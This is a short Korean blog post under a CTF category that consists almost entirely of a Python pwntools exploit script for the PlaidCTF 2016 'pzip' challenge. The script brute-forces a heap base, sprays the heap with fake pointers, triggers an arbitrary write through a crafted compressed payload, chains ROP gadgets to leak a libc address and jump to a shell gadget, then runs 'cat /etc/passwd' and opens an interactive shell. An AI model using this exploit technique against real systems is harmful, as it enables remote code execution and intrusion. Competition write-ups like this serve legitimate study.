본문 바로가기

Games/CTF

PlaidCTF 2016 pzip

pCTF 2016 pzip exploit.

with DramG




from pwn import *

import time

context.arch = 'amd64' # i386 / arm


# we need to brute-force this base address. (1.5byte brute-force -> 0x???000 or 0x1???000)

#HEAPBASE = 0x604000 # case of no ASLR

HEAPBASE = 0xccc000

delay = .1


while True:

try:

#r = process(['./pzip'])

r = remote('pzip.pwning.xxx', 9999)


def decompress(payload):

global r

r.sendline('DECOMPRESS ' + str(len(payload)))

r.send(payload)

return r.recv(65535)


# prepare heap spray / uninitilized memory

RET = 0x4022ca

RBPRET = 0x401380

TARGET = 0x60306f # LSB of strtok.

taint = ''

for i in xrange(1020):

# root node pointer HEAPBASE + 0xe8

if i==27: taint += pack(HEAPBASE + 0x1f48)

elif i==1000: taint += pack(HEAPBASE + 0x1f68)

elif i==1004: taint += pack(HEAPBASE + 0x1f88)

elif i==1008: taint += pack(HEAPBASE + 0x1fa8)

elif i==1012: taint += pack(HEAPBASE + 0x1fc8)

elif i==1016: taint += pack(TARGET)

else: taint += pack(0)


# 2nd stage rop payload.

MAIN = 0x40244e

taint += pack(0)

taint += pack(0)

taint += pack(0) # bp -20

taint += pack(0)

taint += pack(0)

taint += pack(0) # bp -8

taint += pack(0) # bp

# second ROP payload will point here.

taint += pack(RBPRET)

taint += pack(HEAPBASE + 0x2080 + 0x410) # tricky offset

taint += pack(MAIN)*1000


decompress( taint )


# triger arbitrary mem write.

time.sleep(delay)

csize = 12 + 0x10*5 # size

chead  = "PZP\x00"

chead += p32(csize) # comp size

chead += p32(0x21) # decomp size

cdata  = ""

cdata += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

cdata += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80"

cdata += "\x3f\x6f\x20\x30\xff\xcd\x80\xf0\xf0\x67\xf0\xf0\xcb\xed\xff\xf0"

cdata += "\x00\x40\x00\xf0\x00\xff\xff\x41\x41\x00\x00\x00\x00\xff\xf0\x77"

cdata += "\x00\x40\x00\x55\x00\x00\xf0\x00\xf0\x00\xf0\x00\xf0\x99\x8f\x33"


decompress(chead+cdata)


time.sleep(delay)


PRINTF = 0x401ed8

FFLUSH = 0x4023c8

STACK2 = HEAPBASE + 0x2020

STAGE2 = 0x401ed8 #0x402296

# start rop

rop = 'FUCKAAAA' # rdi points this buffer when ROP start. ??? problem??

rop = rop.ljust(232, 'a')

rop += pack(RBPRET)

rop += pack(STACK2)

rop += pack(PRINTF)

rop += pack(FFLUSH)

rop += '\n' # watch out newline

r.sendline( rop )


leak = r.recv(1000)

libc_addr = int(leak[8:8+6][::-1].encode('hex'), 16)

# leak - 0xde59 - 0x114 = magic

magic = libc_addr - 0xde59 - 0x114

print 'hit!!!! system : {0}'.format(hex(magic))


time.sleep(delay)


# start rop2

rop2 = 'A'*56

rop2 += pack(magic)

rop2 += pack(0)*30 # for argv bypass.

r.sendline( rop2 )


time.sleep(.5)

r.sendline( 'cat flag;cat flag.txt;cat /etc/passwd' )

print r.recv(8192)

# get shell?

r.interactive()


except:

r.close()

pass


'Games > CTF' 카테고리의 다른 글

PlaidCTF 2016 butterfly  (0) 2016.04.19
PlaidCTF 2016 fixedpoint  (0) 2016.04.19
CAMPCTF 2015 dkm  (0) 2015.11.19
PlaidCTF 2015 RAM  (0) 2015.11.18
화이트햇 콘테스트 2015 한글 익스플로잇 분석  (6) 2015.10.27